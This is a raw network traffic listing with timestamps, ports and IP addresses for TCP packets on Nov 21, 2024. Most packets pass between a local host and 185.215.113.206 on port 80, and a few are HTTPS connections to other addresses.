Nov 21, 2024 07:10:32.897912025 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.897979021 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.898017883 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.898686886 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.898726940 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.898801088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.898845911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.899503946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.899544954 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.899600983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.899641037 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.900346994 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.900394917 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.900441885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.900480032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.901144028 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.901185036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.901258945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.901293993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.901963949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.902007103 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.902050018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.902089119 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.902772903 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.902821064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.902895927 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.902937889 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.903623104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.903662920 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.903774977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.903812885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.904473066 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.904515028 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.904573917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.904611111 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.905246019 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.905286074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.905354977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.905396938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.906111002 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.906161070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.906244993 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.906286001 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.906903982 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.906949997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.907006979 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.907047033 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.907726049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.907768011 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.907809973 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.907849073 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.908559084 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.908601999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.908643007 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.908684969 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.960057020 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.960083961 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.960144997 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.960345984 CET	49826	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.960359097 CET	443	49826	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.987293005 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.987349033 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.987384081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.987421989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.987669945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.987728119 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.987817049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.987858057 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.988506079 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.988565922 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.988620996 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.988660097 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.989334106 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.989381075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.989483118 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.989521980 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.990170956 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.990210056 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.990274906 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.990305901 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.990983009 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.991022110 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.991064072 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.991107941 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.991787910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.991827011 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.991904020 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.991941929 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.992609024 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.992649078 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.992716074 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.992773056 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.993426085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.993457079 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.993729115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.993767977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.994251013 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.994287968 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.994358063 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.994398117 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.995111942 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.995151997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.995215893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.995254993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.995893002 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.995932102 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.996198893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.996237993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.996702909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.996745110 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.996793985 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.996833086 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.997565985 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.997611046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.997647047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.997704983 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.998416901 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.998460054 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.998572111 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.998608112 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.999167919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.999209881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.999325991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.999372959 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.999974012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.000014067 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.000108957 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.000145912 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.000817060 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.000859022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.000895977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.000943899 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.001621962 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.001735926 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.001761913 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.001846075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.002444983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.002480030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.002522945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.002558947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.003302097 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.003340960 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.003341913 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.003376961 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.004086018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.004127979 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.004184008 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.004231930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.004939079 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.004980087 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.004995108 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.005028009 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.005748034 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.005784988 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.005851984 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.005902052 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.006562948 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.006604910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.006643057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.006678104 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.007368088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.007410049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.007462978 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.007498980 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.007837057 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:33.007868052 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:33.007958889 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:33.008196115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.008239031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.008274078 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.008306980 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.019879103 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.019948006 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.019998074 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.021244049 CET	49820	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.021281004 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.023366928 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.023421049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.023447990 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.023483992 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.023770094 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.023808002 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.023869991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.023917913 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.024579048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.024622917 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.024673939 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.024713039 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.025415897 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.025456905 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.025532961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.025573015 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.026226997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.026268959 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.026346922 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.026406050 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.027020931 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.027061939 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.027127981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.027163982 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.027884007 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.027900934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.027923107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.027934074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.028832912 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.028856039 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.028908968 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.030143023 CET	49827	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:33.030153990 CET	443	49827	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:33.094664097 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.094716072 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.094837904 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.094881058 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.095038891 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.095077991 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.095150948 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.095190048 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.095854044 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.095892906 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.095958948 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.096000910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.096689939 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.096731901 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.096779108 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.096872091 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.097507954 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.097548962 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.097631931 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.097666979 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.098314047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.098351002 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.098412991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.098452091 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.099113941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.099159956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.099224091 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.099303961 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.099932909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.099972963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.100033045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.100064993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.100752115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.100790977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.100871086 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.100908995 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.101593971 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.101639032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.101691961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.101723909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.102413893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.102452993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.102518082 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.102552891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.103241920 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.103281975 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.103334904 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.103369951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.104051113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.104090929 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.104155064 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.104191065 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.104849100 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.104888916 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.104919910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.104954958 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.105684042 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.105725050 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.105801105 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.105861902 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.106503010 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.106548071 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.106610060 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.106646061 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.107320070 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.107363939 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.107422113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.107456923 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.108213902 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.108247042 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.108342886 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.108381987 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.109009027 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.109055996 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.109101057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.109138966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.109771013 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.109816074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.109859943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.109922886 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.188468933 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.188529015 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.188611984 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.188648939 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.188882113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.188931942 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.189054966 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.189107895 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.189477921 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.189519882 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.189567089 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.189611912 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.190313101 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.190368891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.190412998 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.190453053 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.191116095 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.191169977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.191232920 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.191289902 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.191943884 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.191989899 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.192039967 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.192081928 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.192778111 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.192822933 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.192876101 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.192958117 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.193581104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.193625927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.193677902 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.193722963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.194405079 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.194449902 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.194535971 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.194580078 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.195208073 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.195255995 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.195401907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.195472956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.196069956 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.196113110 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.196157932 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.196202993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.196856976 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.196965933 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.196985960 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.197026014 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.197688103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:33.197731018 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:33.197777987 CET	80	49807	185.215.113.206	192.168.2.4
